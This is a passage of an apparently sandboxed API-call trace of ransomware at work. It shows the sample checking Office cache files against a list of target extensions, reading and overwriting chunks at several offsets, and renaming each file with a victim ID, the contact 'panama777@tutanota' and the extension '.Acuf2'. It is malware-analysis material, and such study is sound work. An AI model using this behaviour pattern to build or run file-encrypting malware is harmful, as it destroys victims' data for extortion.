	[0050.331] WriteFile (in: hFile=0x1a0, lpBuffer=0x3fd37f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd37f8*, lpNumberOfBytesWritten=0x310fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0050.333] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x310fc7c | out: lpNewFilePointer=0x0) returned 1
	[0050.333] WriteFile (in: hFile=0x1a0, lpBuffer=0x3fd37f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd37f8*, lpNumberOfBytesWritten=0x310fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0050.335] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x310fc7c | out: lpNewFilePointer=0x0) returned 1
	[0050.335] WriteFile (in: hFile=0x1a0, lpBuffer=0x3fd37f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd37f8*, lpNumberOfBytesWritten=0x310fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0050.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3fd37f8 | out: hHeap=0x4f0000) returned 1
	[0050.337] CloseHandle (hObject=0x1a0) returned 1
	[0050.337] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0050.337] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0050.337] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0050.337] lstrlenW (lpString=".doc") returned 4
	[0050.337] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0050.337] lstrlenW (lpString=".docx") returned 5
	[0050.337] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0050.337] lstrlenW (lpString=".pdf") returned 4
	[0050.337] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0050.338] lstrlenW (lpString=".xls") returned 4
	[0050.338] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0050.338] lstrlenW (lpString=".xlsx") returned 5
	[0050.338] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0050.338] lstrlenW (lpString=".ppt") returned 4
	[0050.338] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0050.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0050.338] lstrlenW (lpString=".zip") returned 4
	[0050.338] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0050.338] lstrlenW (lpString=".rar") returned 4
	[0050.338] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0050.338] lstrlenW (lpString=".bz2") returned 4
	[0050.338] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0050.338] lstrlenW (lpString=".7z") returned 3
	[0050.338] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0050.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0050.338] lstrlenW (lpString=".dbf") returned 4
	[0050.338] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0050.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0050.338] lstrlenW (lpString=".1cd") returned 4
	[0050.338] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0050.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0050.338] lstrlenW (lpString=".jpg") returned 4
	[0050.338] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0050.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0050.338] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0050.338] lstrlenW (lpString=".doc") returned 4
	[0050.338] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0050.338] lstrlenW (lpString=".docx") returned 5
	[0050.338] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0050.339] lstrlenW (lpString=".pdf") returned 4
	[0050.339] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0050.339] lstrlenW (lpString=".xls") returned 4
	[0050.339] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0050.339] lstrlenW (lpString=".xlsx") returned 5
	[0050.339] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0050.339] lstrlenW (lpString=".ppt") returned 4
	[0050.339] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0050.339] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0050.339] lstrlenW (lpString=".zip") returned 4
	[0050.339] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0050.339] lstrlenW (lpString=".rar") returned 4
	[0050.339] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0050.339] lstrlenW (lpString=".bz2") returned 4
	[0050.339] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0050.339] lstrlenW (lpString=".7z") returned 3
	[0050.339] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0050.339] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0050.339] lstrlenW (lpString=".dbf") returned 4
	[0050.339] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0050.339] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0050.339] lstrlenW (lpString=".1cd") returned 4
	[0050.339] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0050.339] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0050.339] lstrlenW (lpString=".jpg") returned 4
	[0050.339] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0050.339] lstrcmpiW (lpString1=".msi", lpString2=".Acuf2") returned 1
	[0050.340] lstrlenW (lpString="ProPlusrWW.msi") returned 14
	[0050.340] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0050.340] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=27532288) returned 1
	[0050.340] CloseHandle (hObject=0x1a0) returned 1
	[0050.340] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi")) returned 0x2020
	[0050.340] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0050.340] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0050.341] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0050.341] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fc6c | out: lpNewFilePointer=0x0) returned 1
	[0050.341] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fc2c | out: lpNewFilePointer=0x0) returned 1
	[0050.341] ReadFile (in: hFile=0x1a0, lpBuffer=0x3a40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a40058*, lpNumberOfBytesRead=0x310fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0050.541] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x310fc2c | out: lpNewFilePointer=0x0) returned 1
	[0050.541] ReadFile (in: hFile=0x1a0, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x310fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0050.808] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x310fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0050.809] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x310fc2c | out: lpNewFilePointer=0x0) returned 1
	[0050.809] ReadFile (in: hFile=0x1a0, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x310fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0050.824] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.824] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x310fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x310fcb0*=0xc0108, lpOverlapped=0x0) returned 1
	[0051.125] SetEndOfFile (hFile=0x1a0) returned 1
	[0051.125] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3fa37f8
	[0051.129] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fc7c | out: lpNewFilePointer=0x0) returned 1
	[0051.129] WriteFile (in: hFile=0x1a0, lpBuffer=0x3fa37f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa37f8*, lpNumberOfBytesWritten=0x310fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0051.130] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x310fc7c | out: lpNewFilePointer=0x0) returned 1
	[0051.130] WriteFile (in: hFile=0x1a0, lpBuffer=0x3fa37f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa37f8*, lpNumberOfBytesWritten=0x310fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0051.134] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x310fc7c | out: lpNewFilePointer=0x0) returned 1
	[0051.134] WriteFile (in: hFile=0x1a0, lpBuffer=0x3fa37f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa37f8*, lpNumberOfBytesWritten=0x310fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0051.136] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3fa37f8 | out: hHeap=0x4f0000) returned 1
	[0051.136] CloseHandle (hObject=0x1a0) returned 1
	[0051.136] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0051.137] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77
	[0051.137] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77
	[0051.137] lstrlenW (lpString=".doc") returned 4
	[0051.137] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0051.137] lstrlenW (lpString=".docx") returned 5
	[0051.137] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1
	[0051.137] lstrlenW (lpString=".pdf") returned 4
	[0051.137] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0051.137] lstrlenW (lpString=".xls") returned 4
	[0051.137] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0051.137] lstrlenW (lpString=".xlsx") returned 5
	[0051.137] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1
	[0051.137] lstrlenW (lpString=".ppt") returned 4
	[0051.137] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0051.137] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77
	[0051.137] lstrlenW (lpString=".zip") returned 4
	[0051.137] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0051.137] lstrlenW (lpString=".rar") returned 4
	[0051.137] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0051.137] lstrlenW (lpString=".bz2") returned 4
	[0051.137] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0051.137] lstrlenW (lpString=".7z") returned 3
	[0051.137] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0051.137] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77
	[0051.137] lstrlenW (lpString=".dbf") returned 4
	[0051.137] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0051.137] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77
	[0051.137] lstrlenW (lpString=".1cd") returned 4
	[0051.137] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0051.137] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77
	[0051.138] lstrlenW (lpString=".jpg") returned 4
	[0051.138] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0051.138] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77
	[0051.138] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77
	[0051.138] lstrlenW (lpString=".doc") returned 4
	[0051.138] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0051.138] lstrlenW (lpString=".docx") returned 5
	[0051.138] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1
	[0051.138] lstrlenW (lpString=".pdf") returned 4
	[0051.138] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0051.138] lstrlenW (lpString=".xls") returned 4
	[0051.138] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0051.138] lstrlenW (lpString=".xlsx") returned 5
	[0051.138] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1
	[0051.138] lstrlenW (lpString=".ppt") returned 4
	[0051.138] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0051.138] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77
	[0051.138] lstrlenW (lpString=".zip") returned 4
	[0051.138] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0051.138] lstrlenW (lpString=".rar") returned 4
	[0051.138] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0051.138] lstrlenW (lpString=".bz2") returned 4
	[0051.138] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0051.138] lstrlenW (lpString=".7z") returned 3
	[0051.138] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0051.138] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77
	[0051.138] lstrlenW (lpString=".dbf") returned 4
	[0051.138] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0051.138] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77
	[0051.139] lstrlenW (lpString=".1cd") returned 4
	[0051.139] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0051.139] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77
	[0051.139] lstrlenW (lpString=".jpg") returned 4
	[0051.139] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0051.139] lstrcmpiW (lpString1=".cab", lpString2=".Acuf2") returned 1
	[0051.139] lstrlenW (lpString="OWOW32WW.cab") returned 12
	[0051.139] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0053.539] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=36233052) returned 1
	[0053.539] CloseHandle (hObject=0x200) returned 1
	[0053.539] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020
	[0053.539] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0053.790] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0054.771] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0054.771] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fc6c | out: lpNewFilePointer=0x0) returned 1
	[0054.771] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fc2c | out: lpNewFilePointer=0x0) returned 1
	[0054.771] ReadFile (in: hFile=0x158, lpBuffer=0x3a40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a40058*, lpNumberOfBytesRead=0x310fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0054.776] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x310fc2c | out: lpNewFilePointer=0x0) returned 1
	[0054.776] ReadFile (in: hFile=0x158, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x310fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0054.781] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x310fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0054.781] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x310fc2c | out: lpNewFilePointer=0x0) returned 1
	[0054.781] ReadFile (in: hFile=0x158, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x310fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0054.797] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0054.797] WriteFile (in: hFile=0x158, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x310fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x310fcb0*=0xc0104, lpOverlapped=0x0) returned 1
	[0055.102] SetEndOfFile (hFile=0x158) returned 1
	[0055.102] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f337d8
	[0055.102] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fc7c | out: lpNewFilePointer=0x0) returned 1
	[0055.102] WriteFile (in: hFile=0x158, lpBuffer=0x3f337d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f337d8*, lpNumberOfBytesWritten=0x310fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0055.103] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x310fc7c | out: lpNewFilePointer=0x0) returned 1
	[0055.103] WriteFile (in: hFile=0x158, lpBuffer=0x3f337d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f337d8*, lpNumberOfBytesWritten=0x310fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0055.104] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x310fc7c | out: lpNewFilePointer=0x0) returned 1
	[0055.104] WriteFile (in: hFile=0x158, lpBuffer=0x3f337d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f337d8*, lpNumberOfBytesWritten=0x310fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0055.106] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f337d8 | out: hHeap=0x4f0000) returned 1
	[0055.106] CloseHandle (hObject=0x158) returned 1
	[0055.106] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0055.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0055.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0055.106] lstrlenW (lpString=".doc") returned 4
	[0055.106] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0055.106] lstrlenW (lpString=".docx") returned 5
	[0055.107] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1
	[0055.107] lstrlenW (lpString=".pdf") returned 4
	[0055.107] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0055.107] lstrlenW (lpString=".xls") returned 4
	[0055.107] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0055.107] lstrlenW (lpString=".xlsx") returned 5
	[0055.107] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1
	[0055.107] lstrlenW (lpString=".ppt") returned 4
	[0055.107] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0055.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0055.107] lstrlenW (lpString=".zip") returned 4
	[0055.107] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0055.107] lstrlenW (lpString=".rar") returned 4
	[0055.107] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0055.107] lstrlenW (lpString=".bz2") returned 4
	[0055.107] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0055.107] lstrlenW (lpString=".7z") returned 3
	[0055.107] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0055.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0055.107] lstrlenW (lpString=".dbf") returned 4
	[0055.107] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0055.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0055.107] lstrlenW (lpString=".1cd") returned 4
	[0055.107] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0055.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0055.107] lstrlenW (lpString=".jpg") returned 4
	[0055.107] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0055.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0055.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0055.108] lstrlenW (lpString=".doc") returned 4
	[0055.108] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0055.108] lstrlenW (lpString=".docx") returned 5
	[0055.108] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1
	[0055.108] lstrlenW (lpString=".pdf") returned 4
	[0055.108] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
